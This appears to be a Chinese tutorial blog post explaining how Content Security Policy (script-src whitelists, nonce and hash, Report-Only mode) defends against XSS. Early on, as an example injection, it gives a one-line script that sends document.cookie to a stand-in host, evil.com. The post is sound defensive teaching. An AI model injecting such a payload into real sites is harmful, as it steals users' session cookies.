上一篇讲 Cookie 的 HttpOnly 防 XSS 偷 Cookie。但 HttpOnly 只是「不让偷」,没解决根本问题——恶意脚本已经注入进页面了。CSP(Content Security Policy,内容安全策略)从另一个角度防 XSS:不让恶意脚本加载和执行。

XSS 的本质:浏览器分不清「你的脚本」和「注入的脚本」

先理解 XSS(跨站脚本攻击)的本质。攻击者找到页面的漏洞(比如评论区没转义),注入一段 <script>

<!-- 正常的评论内容 -->
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

浏览器看到这段 <script>,和页面里你自己的脚本一视同仁——它分不清「这是开发者写的」还是「这是用户注入的」,都执行。于是 Cookie 被偷、操作被劫持。

防御 XSS 的根本是输入转义(不让注入发生),但转义很难做到 100%——总可能有遗漏。CSP 是兜底防线:即使注入发生了,也不让恶意脚本执行

CSP 的核心:白名单机制

CSP 通过响应头 Content-Security-Policy 声明「这个页面只允许从哪些地方加载资源、执行哪些脚本」。浏览器严格执行这个白名单,白名单外的资源一律拦截。

CSP 的白名单机制

最核心的一条 CSP 是 script-src——限制脚本来源:

Content-Security-Policy: script-src 'self' https://cdn.rubyfun.cn

这条指令的意思是:这个页面只允许加载来自 self(同源)和 https://cdn.rubyfun.cn 的脚本。如果攻击者注入了 <script src="https://evil.com/malware.js">,浏览器发现 evil.com 不在白名单里,直接拒绝加载,攻击失效。

这就从「注入了但防不住」升级到「注入了也执行不了」。

CSP 的常用指令

CSP 不只管脚本,它用一组指令控制各类资源:

CSP 的常用指令

  • script-src:脚本来源(最核心,防 XSS)
  • style-src:样式来源
  • img-src:图片来源
  • connect-src:fetch/XHR/WebSocket 能连的地址
  • font-src:字体来源
  • frame-src / child-src:iframe 能嵌入的页面
  • default-src:其他指令没指定时的默认值
  • object-src<object>/<embed> 来源(常设为 'none' 禁止,因为 Flash/插件是高危)

一个常见的基线 CSP:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

这表示:默认只允许同源资源;脚本只允许同源;禁止 object/embed。这是相对安全的起点。

内联脚本的难题:nonce 和 hash

CSP 有个让人头疼的点:默认禁止内联脚本

<script>alert(1)</script>  <!-- 默认被 CSP 拦截 -->
<button onclick="...">     <!-- 默认被 CSP 拦截 -->

因为内联脚本和注入的脚本在浏览器眼里一模一样——都是「页面上直接写的 script」。如果 CSP 允许内联,那 XSS 注入的内联脚本也会被允许,CSP 就形同虚设。

但很多老页面有大量内联脚本(Vue 模板、JSP 生成),全改成外链不现实。CSP 提供两个机制解决:

nonce 和 hash:允许指定的内联脚本

  • nonce:每次请求生成一个随机串,放在 CSP 头和内联脚本的 nonce 属性里。只有 nonce 匹配的内联脚本才执行。攻击者猜不到 nonce,注入的脚本没有正确 nonce,执行不了。
  • hash:把脚本内容算个哈希,放在 CSP 头里。只有内容哈希匹配的脚本执行。适合脚本内容固定的场景。

这两个机制让「允许哪些内联脚本」变得精确——不再是「允许所有内联」(等于没防),而是「只允许带正确 nonce/哈希的」。

CSP 的两种模式:报告模式 + 强制模式

CSP 不用一开始就强制执行(可能误伤正常功能)。先用 Report-Only 模式

Content-Security-Policy-Report-Only: script-src 'self'; report-uri /csp-report

这个模式下,CSP 违规不会拦截,只把违规情况上报到 /csp-report。你收集一段时间的报告,确认没有误伤,再切换到强制模式(Content-Security-Policy,会拦截)。这是生产环境上 CSP 的稳妥姿势。

取舍与边界

CSP 有几个实践要点:

  • CSP 是 XSS 的兜底,不是替代输入转义。根本防御仍是转义,CSP 是「万一漏了」的保险。
  • CSP 配置容易误伤。白名单配窄了正常功能挂,配宽了等于没防。建议先 Report-Only 观察。
  • CSP Level 3 支持 strict-dynamic。用 nonce 标记可信的根脚本后,它动态加载的子脚本自动信任,不用一个个列白名单——简化了 SPA 场景的 CSP 配置。

收束:CSP 是 XSS 的纵深防御

CSP 从资源加载层面防 XSS:即使注入发生了,恶意脚本也加载不了、执行不了。它和输入转义、HttpOnly 一起构成 XSS 的纵深防御——转义是第一道(防注入),CSP 是第二道(防执行),HttpOnly 是第三道(防偷 Cookie)。

下一篇讲 HSTS——怎么强制浏览器用 HTTPS,防止降级攻击。


关于十三Tech

我是十三,All in AI Agent 方向的架构师,专注 AI 工程实践。

我相信 AI 是程序员的最佳搭档,也希望帮助每一位开发者更好地驾驭 AI。

如果你想继续跟完这套「图解 HTTP」,欢迎关注公众号 「十三Tech」。后续会按 URL 与报文、连接与传输、缓存与协商、安全与边界、HTTP/2 与 HTTP/3 这条线更新。

十三Tech公众号二维码